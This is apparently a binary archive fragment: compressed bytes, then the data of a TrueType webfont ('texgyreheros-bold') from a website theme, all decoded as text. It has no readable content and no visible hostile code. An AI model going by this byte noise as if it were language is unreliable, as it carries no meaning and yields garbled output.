�Χ*��id�ø��5Y5��ɻ�!�u��*�Չ/ȥ���\\wiݶ���v_�Z3ꆭ�7����0��Є��o��7u�Xs�P�A�`R(k���N ������q�9�M�R}�14}/�����{<�8�-�]ZD�u�ܘ=�[�Lu�������u�d[��1�‹��+Iy��v�%UVދ�j�|�d�pCh��=v�)My���T)J������epʃZ�ĸujk��z!�����H)]ߴ�w��k��x��t#9��Oq��(x���~tm^�n�aJ���>�S��}TV����-�5ͺFN����X�Z�@M�HU�1�1��eM���.��o�Zl�������Uw�}s��v�_e��s�Ⱥ�ڠ��\�s$�E��@얬�zg2c9�����u/��LN��
��Y�h��S���*�˖�]n�ˆ�9�v��Ghlixb��������{�]\�84r&�6]��z���jlΕD�]s�8��K�7Ǯ�|`=�ȹp��r>%��3rn|N���!�%��r�C�G�#r6�$��+rbrrn<&��	9_�C����B6����&Pj��6��k�>�}`ه�zd���K��"R����ܘP��R���_,"���v$�s����a�h��xڭ�	`�Օ(|�I����e˲�Ŗly�eَ��[V;��lʞ�㐕�@ ��0%-�u�7���MS���t
LiK;m�6}�鴝��9�~�6�I���d��9�{�{�H�Z+\$"�H��4v�(i������]/��J^�c-~�����"��㶀-����]�8�7 l"D [	!�	o��R/�JAh?Ea��y�1
��B	1�uZh*ڴűx"��'�uff�v��A����0n}�>#�M��D*�2�N$Jh�C�1�b��v�ݦq�0�J�ז�k�~��gΜ>
?0�8�/B���#�̪��F7�Q-q�L��>�^ ��h0C�H(�tA��On�m�c"����` #�NclbJ�~B*�e0�����q��[�7�&C��؏+�~BI���H�U~���
���g�����G��'�/��3�=y��?x����I�tϝ���"!%����Hq�J�W��"�T�5
��z�ȗB'
�s�P �f=��8���Vf
:��#��"�jư�P�e��Vb�:�'Q�hmCڗSW��:��N���\�Du����$t��Dk�}V��[�v
�8x*Z}t��&�fpmb�������}�0U�f�'�M�ڴ��5,�~�r��m���n�Wwӿ�-�T�ֹ�W��%��J��I�$x?��r@�؄�������[�^����V���V=�ֵ�2E�����V��Bi�H�KL�d��U_��~����:��p���[��-��P0�t�u��:��d�Au���}��Ⱦ���
-K[�!:=�>�5���c��/���7�b�ˡ�� ��~Ex{6�ʪ}�V�ط�R��y%9�[�e� jI��
ŢH��H�M��e��"pI=���h�d�M�;�2@4q�Ņ�R�^ٸ@Ca0���p�UR�s��du#��w���i�q�K(b��k�鎷$#���t{�PP��d�bt���2p��p��G��������i�������r_I��e[�b0�\�s�Ҷᆇ;:������Ǐ�/O~�_J��@��܇�|!_d�Dv��l!(Z�,6��ȕU��~ѹv���$�%�IE܆�”3F�%�G��V
��htd�Ě�щ
#�pӏO?���g~�ar��~6v#���y�74gtـ��K,�yz(l�8�zne��
�P�?
3�����[I�\b��MF�^�iw�e�
:hq̑��I��"R$�q�_�߽�s���G�����Ƕ��.b��� ��9�n��=T���h�8#��\�-0�������x8@6�$�zy��'��//��s�sk�[���K
z��2M#��)c��a�(<'�x�#.����)��m�E)�.��`w�Q6�G��J&�RZ��s�8�2�""�ʮ��.8�<s�>����{4$����ɮ/t��Q2�~&3�J�%WF�q��]߱
?��r����� nREʁ֢�nKA�〗�VGk�Pe����r��
�`���,���hm�����MK�S�������M�JӴ��:s��+�ӿw�\�'��By��g��?�wݾ#�(�4�'@>K�o��%����*���%g ������lWIDF��a�$���
~>�m��v۝�K�oa�r@Z|���EB�I��87=DQ3������rR�
;�:G,�C��*J?
��RW�R)�*�m>&'����:;�uM����>�=�zI����d=t���';��Nr^@�k�(�̥J*���hLjV#j�;*ঝ�LAql�
�':��:P^	9�]�xD�����AM^�=0��6d��b�'����e7��u��2a"$�����%��̽�
���gn���D��;y��3?i��jlo���Z׼��|��
���*�WwO�v��/F��-d�ee–s�[K)�T"6sVE�7�ܧ�AJ�B+eްKؔ4n�BT/?�r����������ѧ�:Jq(�_%e��Kv*�+[`>A$�l�o5.�:��VˤV����vz�r�̂���i��L���	�p����#�
HY�wkC���m�sG/�-�#OG�u'�i���k���6z��c�37��&\�J�_�,[�K�c�t����f:���FP� 4yQtW�f��ہ�rV��A{Pr��pQ�SI=4c�p}�͞ʻOo:d9c�{[��n둳S�w��_���ݹ�����?l���8��s���z��;�e�rŰ���.�H_��l�u%.��E <����$��zZ�6
j��K'H!&�~��w�l|��r���<��o�9�Ԛ�	�����
�!ARG�"p4`C�RjK�M���p�YU,�:�%��e�$j�Aw[OS���v��k�i;���%�]K�.iIc�ڱ��=��������[K�=��rck{{K���V�M���Ƒ��0_�@�Ej�̢��!��Հ5�S��p�y���7y�v�ag(hgy�c�J�%�Z|*�ew�;z���[o�	�UǪ[v�;�{Igkc����]}�K��[[Q�Zmٙ�]}}�=�}$�{�?��/��5�z幞>P�<c�L��)�^PA�FR<S]�3E���z3S�8�8�����2��zV;�bKq��Y*�K�OϬ�
39��%�枠���ѽ�h��B]��-�?R�ô���~v���E��}v��� � eL
3u�M�*���K7��ퟘxybb�"�_O��a�[�������B�~�|�.�C:�$x��j���ĉ�vL�Z�E;XVFHYE8��K�x�z{��@Y3E����`�:s��������c�]�M=����Ξ�ۻ������1�XUl��4�+����;$���K�V���{�Q�P���m�zI���n>�<Q?r>L��H�JZ�ȯ���M���8�?b�qP|L�(j��W�Fx/�Y�KfԊF���s��{�P��t%�p�
6iU��E{��gܜܬL8y�qQ��j!�{�
�U��$����_�����Y��v-[y�C{V�Z�4:�[�|�c?z���O}Xcec09���L�P��O�z���#;���=�\Om��r�������ѻ?[���wk;�ܤ��=�<����H��cr�H5�	\` �z�W��&�~��cqw�"��K���/6�߼��"?�(-�~�d�Z�"�o!N�v9��W�:���x\N{���ld[�3({�x�1��ok�ЁS
m��}ۋ/<��Ǧ�>&�}p�q(�lj�ѓ�w�\;�w����<�A݂�@r���,��',<��vX����.W�Iܺ�>x�3��*N�&vm|�rA��}O�@o|����v��-�O����o�
"Ax�`$6R-�
��L0�VdAC��*8{��R��_��*�Z��s�}���v�n*��'�[s�9L\"T+���̥��K�|�fr����������y�퓟8�?O2ڭ��W��E�U8v�%0��.�:�m�@�3�7�*1�5����~r�7�r��u�M�e�P�jRy���Ng�1p��[g�F�1�-�%X��ֲ-JlJԤ�+��9��{v�xl��~�4��^{Ê�^�����]���>v����[&:����-<��+޸H5)N@�m�Bzc�ݯ�mp�ff�?�N���f#tU������0��g\�?F�
�s����6��3^s�(���R���.F����ᝩ�EjgN���^�R_W#�^�{�����W%��=	�����K��ݎ�%F�%���!����/Q9���.ڿ��v�0���w�ƻ֢��G��
MIF3����$��R�Yl�n҃��K���2�v��sd�G��bH����]�~>sz�,��Eap6"��~2k�8�\����y]Ř�zR��E��?\��eX�?�������~7��ɉ#83������gq��y����W�����_�9�e�[7��?��o}꣯��G��s���qY3/�2Yc'�r}x0�wUd�V�����c8��edl���I�Z�ô�ȭ�L���i��ޕ~����ކ����~8Y�l�0(R�d���)�]Mo��h��U�ȥ��Q���$Uc�ҮWcU��Ƨ>ۿ�5<2�6p����׿������Z���=�X1����O�>������"(�>��6��R�٩Buy@��4�ʵ��^V"�t@��1���s���+����� �5�Rw}C�%���j2YʽrOw��W�i�I��~�!����?����D��5 (��a���X������`1�6���f|��j=TP�ש��qdhu��ރ�9{��坃��G�ny�>���ަ�Xm�ӝZ���-G�K�k��b�s�����@�
�������9T��	\!�HVa��3�֓'g?.l�}38>��}���2��v�å$ʝJ.}*��g�{���O���"�?s_O�}7��E61/�
9L6{���C�'>�����*���\��LFNF��0��;�2��^�u�Q�@&�<}��c7���s'���?���!��_Ǹ2��@F&Jz�hG	��h���$���O��7?����Ӄt�����ӳ�,�����1��x1��`����5h��+�?�H�G�o��L~��5:�BU�cn�*��� * �	���W9=�>/�����I�ӓ'�.s��i+�~%.Mrلj�h�[<�[���Bz0�?��:�
�#{gc{1�����h3��v�)7�C�&�R���]��K�b��<-�����0�K���0�;9�.56��S�1��m�
v}�1@}	�-����O������-����8v7�
F�s�� ٵ�{ <���a>4�M��'?}�֛��>��H��o�:7 ���S{0~�q"	��#	,)��i��[����
��eh_� sOI|rq��xB�-�._��f��T�:r�l�P--�
�VP�~�
^�N5��w�0���y4*獴�����4�GyQ���B!W�^�C9��G�h�W��ˆҸ:�U"H�n�+����m7Gm%F�Xk�����T~�x��eۦ���hS}����"���&������>�~��os6��n����=����C/;�)%�p��"Ânx��`���25N��g�Ipn}���|��(CX�^�R�q�`Nk8h���=�����t�u��~z��V�����5�[~vͧ��IJZ<�iӊ���\f#���
~�'��x�ϱ��y~Fۘ;:��O�9)�c���j�6X�1��u�]�x߅C�%�[�.۸�A�$���%[d�\f##!'��KE+DS�=�\Q�4�x�+�>vmYH=hs%rvCA��]����m;&o�����r��k�8�Y��mܰbd�}o�"R��d�:T�Ҕ��38T6:ق��(���B�d)���{hzFlOl���g�ѳ����a+��=��mUW���Ա��\��r���,��0�r\�W�&��|A!�,xx�?�x@�lS��E�aXx>��M�£�D+ͅT�q���﯉��������Ή7���m�a�Y�Op�Z�}JH�;eOh�D\T�c{���������r�������3�ٌ��:�&�r#�͵"0��ڣ��4���ɢ�Y�?T������x%��:���	\0G�޹ks���N�?%<b[��7N8zZ�CC�x����㳯�a�@ow�h��:V�_�b��Ͱ��@?�@׊T�(���-�ZM�"�����%��60�91�szCc7l�ظsx�+'��_d���Ꞔߪ���()ScEGI3�/�@08:0}��P6���mz���U��a>
܉z�!A�,gR���$:�L�2]4��Y��֎�.Фr�d��j�Ym��#���:��:j,f�}��/��?�G��[f���Ԋ-ʹ%d��`5r5�K3�lj�M�q	�0ג����W?~��}��o�����/���W���߻>ng:t���*j؁	�[G��b�fр^Ҋ�>,ek�O�8���>dj��g��n�̅�DO�[����|h�a��k�ؖ�P}��e5���Mk�g�deu{K���;�/A��FV]�̀�`.ebF�Z��a����;n�ciW>K�NwNn�1�9�#��޸;=���	`H�o�`"�\��Sp�S��e�B�~j���O>8=�ٱt�(�����p��Ԫ5 I'Ȱ��
Rl��Ē��ʘ���ft3��6����:>��JܣҀ1��8+b:�[&&O��=�Зh���CᏣ��v⩱�O���ƍ+�71��Z��-�Cd�.*RQ��]-5��"�������
��r�n^P�E�fDe���3Z����	�w�S{m\�>���Fg�48FwπN]���W���$͊'�ЫB?�6�'[፪�*vf��Ș�nN~�<��E�C!eK�큊
9�=�dЗ8nʦ�]�A�m�e����� w�w*����z����F>9�����,��X�^����D�5�gb������-���O-k<~��ۅst����a�đ��t���]���L��ڵa��c������ֹ�i��Q�?�\�R
���+v:�c6������M�\`��$�}�M7q��0@��
�3A�� ;��Y��W����\���0yd[�Wa��[��Ke��h��@&\�0U���#��|�,cJ5�W��
oC�>P�7�:Q�LOw�ݰ�E:�~	d	�}w��n����񂢅��ǎ��<*������Z蟆���EW�hٰvzl�#O>2��a�zfߥ'�ga\p��;?^Pt�xA�g�f��g���3[��bj����H_~���0W%�2zW�!�	�5�k��(���qgGR	n.?��OJW���EU-�qz�����t��"�+�A�̳`<��J��'���?�����ô������q��/k�ɺ�m`�0ET���H�[r[Qdf�M��P�\�ݩ٘i�����܌�xK7mm[B]h�k��fWÓ�PUq�P�pU}M{{���j�m���[{�߽溎�$��W�ʮ[�zm9���v�
���N�b6�òy��G���,�w*��H��w�]�{,��+��\���>g��fey���=�dE<�q�w\i�"F�磭a��3m���=����v?�SM~0��S:�_��K��V�k��*.��5ؒ�I֔��U���]�>��A���d�(H�F�U�ni
u}e^��pss����>�HIm�/r����V�,%��j��z3ѡ�5�k�N�3��PL:��xg�v�ff�K�|]dw��|���T�^������
�:}�:o��ỗ/�z%�Ѹ4��y�6'�$�eot�#���$�n�I�Ǧ�_��V�=�h(5ݣ?���<>=>N�ӏ�6��Ƕ54h��h�6���+=~�%t������P"�#�S�<W���Q�S�Q{"�����M1F
*f'��AIJ�}f</��$Ɖ��2�q�VއN�9��v&z}N_�a-�}�a��ޒ3FaO��:�Ao؈}�������X�����*��䍱��P"�U���=n�AvN��+�xy���ѕ�
:��;v�x��%}��VyuP�t5v��>jo���u�xrI"���[L��Qw�ў��Ս�T����+Q�s�dXhn�
�mr��b���HJ\;%:<�0�"�:�-7���ژ��Q�z��A0�Q$�@��.9\uQP�du+;k��<TWNa"����wWT�����;�o�����>ܾ��s냻�w5g>�S��;��v�*z4*|	��v9�����d@�Uܬ��*��L7'��^��'��k��*",�hϟ��ܗ�{��y��/��駗$�|����fV>g����>�^.w�3�/5t��b�`{�P��IO��h��ǁ����O�I��lho)��SoAy�m'�h���y7��y���O��e(�R�h�.ִL�X����V6__+nʴ�I�s![C��4��\����[0/��z��g����DUޛ��*�i�w�kYz��Ί5U�Zg˧���?�Pz����w�T5U���H� �Ҷ�Z�<��M}���JK|
'<��ʀ��1\�4�	St��[ː\�a�g����20p���;������������DȠ�G�:�N�B/��
h4��@� ��5����«ㅐ������XW)�;f�K"�o��o;�/�<{���.ݰedB�Q4�o�wӉ�͓��[|��q�Yh�~g���Kz;;z���ه�W�0[<]J�I-��l���8QR#�x�@�H=��V»5z����gno��jզ"Ў�߀O$͂=�o,M^Ck���>_��W�+��\6{���̜^��G�+��`>�	l�HN<���9��l./W���j��d]-�NCE�P�/u��oj1���
����Kn���j�}��_G�a�V��:�g6���
�3�,D�b�	��K�$�Ky��={��G?�J��ߘ}�4�ק%C\	z`+	t����)����z� S��{�o����Ai��~o��&~s�Cn������y�Cu�2�5J���d���\�4e++q��⦆�hq�8R]D�6��3�-��)hA�ӏ��\	�0<������n�[j��&ԧ���=�템�ww7�e���b���T�U������#	��%`���U���5�}�m��k$u1�	��Y���9�Q��W7�B}i���ʀ��c��S�V(ӱ��u�n.�/�Ǘ�4���%�=���i�\Ed��ֱ�-(:�R��zTd2�HS�Mb�*xN�	;xa�%�LL�:|?p�����F�; N]2Q�P�rY��N~5����(4A-�<�={p�4qD�5C),'�%a;��8�i .On�w��H�*+m�cty�<T�h�D�'�h[w�6��Z%Cw_wG$�2�E�Y6�q�/D~|�L�q01���֞�)'E�R�sy؁�+�9�M�r����v��J}T�r��@Z����ݲ��5F�������H�r��g�(WH%%�Y>�Ix+VZ���.�g����9԰d��o�rg�'���K+B�=�-e���;�>&l�}p��+�_���q����!l�x��OX���<�M��m+f�8����"�B)����y�1Ҍ�i�k���t*�+��C?i2%*l̨4!x�t
>U]J��c\�P���<9�#�b'@,���^W�1m�K�@U���o
uG~,�9��6}�ί�h�{��~�\�`cg�aGK�R�$�n��A=���X��bF*�%��U;�o���ݽ��҇�t��G����Q�����_ʜ��C9D�2�]�ah�� ������G�R���|�4�����~�D�=�"�e�72P��gb(��^L��Z�9�?�=��QͲT��p�
j�1ORe]̾Vb�>�P���ͽ�h�f�;���r���d,�Ўp'��5�g[:/�
d����
)�j��kJjK$�w��F����F�N�}8+�6
K�y��7T�{a�A����LV���J9W��ǂ�@�ٰrx݆�6i�/jkk��ѭ[׮޲��W�
[;;�;[�;[�$��0[$��<�mӞ=����rf����_}(�Q%�-�XB%�B���C�5Y�ր��f*�fI��d5
z����H��~f<$5��`a�v����\A�B�9��7/{���b'؏!�Y�'��1���ށCUd՛��U+ʮK�N$Um�'�NXG�����//�F�mۦ���E��ٲ}}��y�ڵ�s�%�z���=��@1�K����@j%�f�N3����^�k���P�`0�Y(�(�Z�H:�n��D'�u[ɢ�q��xg��_�;�^�7[=;;Ln_����b3_�k
UT���9f���T�����y+hͮ�+X����	����֔zhuk�%e�É�A4"o�K=�6�+�A�5\e���&�e{m�i��M�5I5�lg|i��PL�A�	w���lV�l1�SL��S����h��%��뀆DzG�l��W�P��P//�J�_�C������PE�p,�5k
]h$�J�h8���D[����b��H8�P� ��������wQ��㴯*�c#)��@��
?�*D�2�[��{#U��	Z�΀����T
��Z��co����1�)n�6�7KYfa9��7�y�U\�r�8G3����|�Oϔ�Ͼ���)�ϭyn��$��V��[��j,�FK�dY�S�|�̅h�(�[����	���>��S�jƏ���4K�ɝ5n�ܡda��h���M/R'6�&G�k1g&7�E���K5j�Ĺl��/�KV�#X�����46*���L�
#Z�����W@@1W\����x3f��@�H~ʓp����w_'d��8wn���Y5���3��I%Y-���F��(��4�-DkED��V �@�
H��*�~��r�g�٨fɡnv>�{<��Ul�q��Y���^]�S��n��5����~K���Ns�����Q`X�;Y&r��Ƥ7��Ƞ�]T��ً@�[�y�œ6��E<���C~eG�
X��n��w�|�Mx�ى��,�T���BI�eA����R/а8Cœ��) �d�6�>Y�6w�j:�Dk;^�+s�}��d�����hg�I�t�����؝E�Az�%�5�����u)�O����B;	z)�p���fh!X[[�?��@�������O;.
()[�u�e<���r�b�1�ZCu�J�7TPI���i+� ʋ�l���P��0?�XG<��6.Пɽhu(���:�w�ĺ�lV{֯h���<��Ÿ�i������j#�k�1�c��k�,Gd�	��)'h	��"�rz5[�3�.C~����5���\T��b���r��5Lj6�'Ef�93��`b�����"��΂���a;Y)/�1+&�M� w��E�0���8�<0P,�BU����\rxf�p D���x%�9,��M���Ga,)�� -��z. �᭏7am�|!(W^P"�����gAx^��me��u3���ov	���>5+c��չ0���En_�J��<�(4�x��?�x+`�t��rSNf�V���)v�R�S/%	a�����H����`�_�����Z��W/�!2)�*7k(�kub�
��^��sQ����8�
�)WH�w��D�@�����Z`�W;��69�'�z�"�r�Μ�]Ǯ�`�7_��=��l	��+2Yi(`�d"�`
�P�����ƚ�
�_̜۵z��s33t|��E�⏏�=�Z��o�<r��/�2�X��g��TP2�rԳIQ�<Ǩ\�1	1V+�>/;����d@sn2���^VS+U�\��Qɹ���Z���G�d�lS��U���R�lv�)�\쟟S�F��B3p���B�?�͛�5`�.
���y}���E���ţ��C���<�E�O�g�~��(��$��[�ro��A�w]	"�:�2�4�dV�q�fl��2C������p��z��P�3y�oAΚnɂf�|�;�M�����Cn,`7,��ee^//-�Yt�]�󁎂��b�"�)�F��w�U�M���d��HңW�v���ӧ���[�_�U]���Q�$�b�@Be�]�[q8jb��"��f."+w&�}�H��0�;8r������_~�tJ�q�Ɩ����Ń��X*������ˇ���/M����Z�eJ/�Q�>û�mVv���J�s*�[^N%��L^�.����b幂90OX���&Q.��L��p&ػ��~[6&�I�˔�.�:�e�vkv�u�I�V'�U�?+������,��bvO�f��p�s�y�v��jw�A�g7�C\��'�m��³��Zc��:�F��d�n`�rS<
��`�I�u�l�'Z�t3C!��)h����
������"f?��g�����kX�J�����lj���g�v�ߣ����}�Йij�pJ�~�r檱,F�LX��V,�M%v��?��R���^+)�l���O�o��>�~�SM�Áp�%y�֪�V�����L@�6���3x�nO���ڷB���
5
��{G�-[�9�;D�0��ѿ�6E#u�U��F⹒����&�l�Q�eKf�`Dԋ:�v�g����⒔�7�b�O�Պ�����J{-�]�Αj�^�X�!�l-Iټ˔l��,��])��ŀ�%�r�CK'W�������̥q��d�F��T�|��'��%�"�k���k��S�'�ꠋ�~�"i��+���ߚ������Jy���}퉮�����X��;�%��\��G�������N�@���,@��3Hx�D���[��]��z}!����'���Ǐ�u�)�)�2��!7\�1�>�,9Է��@$�9��W���c���W�x�֮u^�]�82��Y���E�'oʦnjb�`R���41�b6
zA�ǣ�8���#��TH�8�i��k���k��Hm2eI-���@[���mYFm��*�^8�yM�&��Vp#�x
kQ�k��{��D���;��o%_Y@�+��v�F���^U�ש����MWm>O�����@���Tb�::�s��*��, �+u��E����A��]A���nJ�gE�sh)�uL�'IyeI_��ȉ,
zi��wCV&_S/����a�,�-}��p�r���yN��:d��d��V�<_���<.}3I�X�UL	U��,!����)[=�mTc��b6|`� ������lv��Q�2Q�f�{0f(����]q�f��8��tĸ��:��Q��ņ��rz4:�Uz�`S:�2g�aZ����+�ڃ�`��`�,v�-��<5�)r�&D
׾*^�
��[*LVI�z�7ƴgş���v�9���i
v�ޗ�WN]�yz���j����`���W��DŽ4`F_"P�w--O=h6���K7O�0�Z���j%�����:>V���@�ւnP��R���U�dN_�lgv��L�l����?_����k�/'��5����e��&���`E�A~��E��0M9�Ob{��X�OW�=B�b��֩�L�C��7y3�#@X�+���z��BXd:[p����=j��MA��W�0x�>�Oh�@�,��U(�����KH>^%�����²
9��-�X����a%SW,����KKK��~�R\��Bq�^�-�Qpa��1[7�[)�.��v��ww��Z� ����4���`X�ff�b_&haDž��d��YY^�s�:K1��5-\ID5>[�1np��_Q�=f`�E�(x���j���#��j6��]a��2ky��Y(TV�}%^����[\�vr<�]��+��W���;�<�6�0�o��ev61��*��TN��3��('Q|��l��p���sX�B��A���V������y�B��5�5Z���0g+̉�;�/i���8�x2��Y�k�z����e�d�����9ט������9��gc�v�����ʓ��� K���ah�o���!e���ia~��a����jd9/[�����W�+��jw��qc,V-Ǫa�k0t׾ps49R���u �*�7���7}�<0xtp�(->��C�l���4Z��5�2���{��o`�t�F~�'�'��|w^��(��H�O�-�aʔΨ�M�<�)���)SO��n'��G�B����T�kX����S��Ɗ���kq��;g��t��Ӗ�1Ζ9�A�[MB]&vcX�n����>�����Po�����t����p��Rj{���S���=+eA
+����ygVy
��p��%��s��U��*��$f�?EH>��OV;��%�Vv{�}��>F۬�T�F�v�qj�6�I��2�DžG�6G8�ϯ��(�h����r�o��P)��_#�܍���n��q���1�z:�9V[6�~•����G����X��텰�0Ϲ����F������[�ģ�m]��KK�f�R�P���h�G_`T~�ܱ��3�!�g��?�˨�D�5������f��F"?�oTGU��CÛBEV�Q�1	,�1��( (�6�m�4�������د�j���œ9�D$
?/nkr��<����X�ѣ��=���]��n�ݏ��/W�u�V�:��2������/4D;k�^,�Vi���Ԫ0ˑV�\f�8�e*��X)����@�.�KUS{�j$����d�� �%��IP��T'Yҫ�B����y8����WC�G�]��§�Ѱ��x��`��Gk���Œ���@��Bgъ���K��0�!AA(�Ϛ�WD���znL/�Wp��Q+Լv���fp/�
���p��##�78��*!���T�f=s������.�α�Q�x=��1-�:��c
�*\!���F��9�J��urt漺1XnD՗��������2�s��2�K%f���/3#��R�u���uu���U�̭ąY&e�rji����`�]�O�h�o��M��P|)�祐�~���?��җ�$������v���r.��2��(����Bƅ($*�Y@�mxc��J�٢����k�/aׅ�tH;(/RvE9�j��k��'tޓb(|2�C=~�R�1��g��&e�j�.�F����������:���i]�D�9��E5�풜c�������j�R/�餆����%Xfծ`�e�H��[�9ߢhcߩ���Ma���/�X�M�9������α���a�?��?�ʮ�h����w��[W�g|���W?�!��a���I	ՊJU7��G�?�!hj�4AcRF��9/�Θv7.�R�
m%A#e��1S.��t��r�� 8�c�`��0g��Q&���?�5�y���<x�Ċ��nEO�v������ܛ:�?r��M/kO.G�N���Q��Jw?9<��ټ�#�Z�yժ�nܲ�t�NWO7��/�0����[��1�u�8�҄�b0�/�Q/Or.O�[L�@��]͹@Q�e%�K�(�ɓy��9L�',7ڔS�g��E�w[�J�;�,Z�:��م5���&�KD¸�3X�#[���};Â�]�\��:$���_��ܟ�w�z��j��t2mߝ��'����k�'���}����5r���zE��
8���H�'��КlK�t��k��*1.��7�����VbM�~�l��KT�.3,�`��Dؑ)���jc��|Ɨ��&k�"A�!t�0ӹ�*�&΃��跒o��l.=L��K-!�kD�M���,3��8�G�)��1�N�x�N_Fߤ/0�\�%�t�������@؀���V�2����"N4}���_�q�m�G�,=��2��TȒ�ͦF���J#�����>O�N8�
�D��ٓ�u��K�d��-���>�菰9�Bv	���!�<|\���+�<6��b拢�[��_��y�`�r֋�򷴎>�y��ng��w+��-+-+VL�yr��x�
n�l��i����~� �"ZI�i�\���rqE���7�}����LZ_N���3�y�
��g��(�Ӳ��Ii�!4��<�M\f�t ��;;��cX����5���-�hJ��l��O��Hy��8h.��x�D��~���^-�X/�W�&C�8K	�HX�+.�tN���S��7*�^oS�̍��m��z�W����(�]r�jWyǒ�����֚O=X==0=�
O9+OT��+��A���;�h�9�YVV��3z�x#e\�o��l�z�݆I#��'S�K3��54	)quѣgn�5O�\��{o��{�Ǚ^z�>��%�������\.��(�2u����%n�l�f�]������}�0��Sdܧ�a2�B�C����l�U�%�տ4�y���]O�
1a���x�L9G��růХ���-�,�"����ӭ��g���[}�N�����WUǮj�Kg-�z����si	��]ق�օ�S%<�[x�mz���zz8S�[P��m���W���'�
��3����\�xk�8��H!
��Q�>�JN�Aq-� �g��9�����3e�0j/Ңu5nŢ��b�A�$2fց���,FQ���Uf��weZ�iQ�5ue'��+ϺǞ�1b�^��e�"���\���,�ۗ�:�B��(�;ȕ{�M�N����i��.�M�0��i,���|�j,�
*+�:�R;��K=o����2\�ܴpc�3DG��o3�8���BU-3_Ck>Q��D	�G�|Z(�2�R�)���׎�"x_k�
�=S^z���_<����������x�c`d``I���������2�f�����8{x�m��J[Q���S
�H�אĨ���* ��bS14�)�&ۺ)�t߭��|q�Bp�.��-]��.��ɹUk3gfΝ�N����"���)��T*AY,Dv[��Df�Tȕ 2_d4hHL}�s��(�R?KP�~�0��\�k�g��cyA���24�]yCn���%z-���
�}%u��/Q��}ɹ�?A>�_���}y�� O�H�:3�a�>('�����W�O�nfjB|=/�_y@��>���/�S������9�����0h���&+�
�K�{��`�y.�Z��$�	:�����t�.֔a�Uf}L�����=�u�ô�B;�ۺ�<:{�~ޅqZ��`w�U�\P#���\Ϊ�Q-�L���o�i�;�現�7׿��T��4�F�>7�Ej���Ȩ��;�����8D���D��y>�L;�r)h׳���Vꎮ,�kh�M��o]�R�Z�]����~۽���H(�5o~�|x�c``Ђ�0��7�iLLLmL��.030�0�1�0�`>���Ō%�e�
k�?�,�e���؟���P����L�y�K�ˍ��k7��w��}�oxDx�x�x����v�n���O�χ��o�~&~~��'^�󄘄̄�	�f��'|ADK�C䚨�h��	�b"bb%b�~�ˉW�_�?�j�=��$�Im��"m"}J�������2�s�\�N�����ɫ�;�ϓ�� ���pL��e?�.�**y*�T�TTo�	���P{�Φ����>E����F��M.��]�״t�⴦h]��vӮ���B7NOE��0C?�_FiFW���?1�3I1�a��4�t���Y��-s
��R
�,�,WX~����^c��F����I�)��Yes����ƶ������]��u�;{3{?#�	�s�D��n�C<In��xڅT�nA�p��&^/��pal,�Z��T�jjmZ�^��2�]K[_��S��6>��93K�"�����s��>�P�|J�]-R���{��-�x�=4�o��x?.#�~:|��;��~����a��ÿQ/W,f>+�v���c|�� C����#�`ϸ��9[��k]���k�-����z�8�b�6"J�i��m�;�-�ULޘ���N��2��h�br��;jQ{L��K3^G����C��C
CyB�#�٨����e�H�Pdf�G���3-�;�3�(��y��Z�$
�9Q{��<w�J<\j.��5�3��F���wH�eCj�COe5|T��[�H;�j�]�h]CR��y3���B�gJΘԪz��F�B��t���ש��L�1z���j��sL/��T�"��N����T�.���f̡��\����D���)q|Óp�xU��z��{��;R��k���<�~�tJNu֦�������������nP���n���eDˬ�s�e�\��:��#2����2���o���^��nq�O�-�:!�R�.���4���K��އ�>۾��.��^/��yg����6�|*2}�ҋ��ϡNx�|�|V��l�;V|Q�8!���*�Wy;3�`Se��:�n�xý^A�SP�x�m�7lSq���%��8�����{�v
�&6��N �mIp0:"��@Hl �B�
��M3]�
���-�Iw���o�n���H�D���؈%;�$�Hɤ�J�d�I��K�PHŴ�=�H':Ӆ�t�;=�I/zӇ�h�8p⢄R�(���@1�!��0��HB��F2�ьa,��&2��La*Ә�f2���a.�O�X8J3-\g?��nvp�����M����%�l��%������'��]N���졊�Ts�<��y�Gjx�3�s?���k^����6d1K���CԳ�B4f�Y��JV��jֲ�+f=��F���,�x�[�K�$H�$I��H��I�dH�dI6�8�%.s�\�[8!9���J;%_
�P����mj�p]PӴ
S��T��P:�.ey�FdQ�+
�C�T��%�Re���=����꺽&����*���|o8T��xU����P:��?j^��K��RX��Y�c �#D�#p�E  K�QK�SZX�4�(Y`f �UX�%a�Ec#b�#D�*�*�*Y�(	ERD�*�D�$�QX�@�X�D�&�QX��X�DYYYY������DQ�J�PK!	0�X�X�8bluetheme/assets/fonts/Tex/texgyreheros-bold-webfont.ttfnu&1i�0FFTM]�"�<GDEFX'XVGPOSc@���xGSUB���&(rOS/2l����`cmap��B*��cvt oN�<fpgm�zA	�gasp%�glyf w%�%��(head��T@��6hheaX�$hmtx��"z�<�loca�������maxp-M�� name��&���post�-q���prep�D"����webfJ�Q��P�=������N
bccd}~�������������
x�DFLTcyrl$latn4����.AZE .CRT .MOL .NLD .PLK .ROM .TRK .��cpspkernsize d2�4
$=����1��8��9�X������*d<N�bV�*dv��	d	�
�
�
�
�
�d�����:Hf��
H
�j���&8JJ�pv������ffff
�
�
�
�lllr����	��Z|������7��9��:��<���
������*&��*��2��4��7��8��9��:��<��F��G��H��J��R��T��W��X��Y��Z��\��m����������������������������������������������������$��2��9��:��<���������������������������������������������$��+2�������������������������������������������$��7��9��:��;��<������������������������'��
��$��-��2��D��H��R��U��X������������������������������������������������������������������������������������$��7��9��:��<������������������������$�������������&��*��2��6��7D��H��R��X��\�������������������������������������������������)��$
&��*��2��7��8��9��:��<��X��\���
�
�
�
�
�
����������������������������������������������������������t�t�
.$��&
*
2
DHR
X
��������������������
�
�
�
�
�
�
������������
�
�
�
�
�
�
�
�
�
�$��7��9��:��;��<����������������������������$��-��D��H��R����������������������������������������������&��*��2��8��9��:��<��R��\�������������������������������������������������������$��7��9��:��<���������������������������D����������$��&��*��-��2��69:<D��F��H��J��R��U��V��X��Y��Z��\��m������������������������������������������������������������������������������������������������������������������������������$��PQSU����������������������;����������$��&��*��2��6��7D��H��J��R��U��X��\��m����������������������������������������������������������������������������������������������������������������������0����������$��&��*��2��6��7D��H��J��R��U��X��m�����������������������������������������������������������������������������������������%��&��2��4��D��H��R��X��\��������������������������������������������������������������������������������������1����������$��&��*��2��6��7D��H��J��R��S��X��Y��m����������������������������������������������������������������������������������������Y��\�����Y��Z��\�������Y��Z��\�����N9��W��Y��Z��[��\�������H��IO��R��W���������������������������������
DH
��������
�
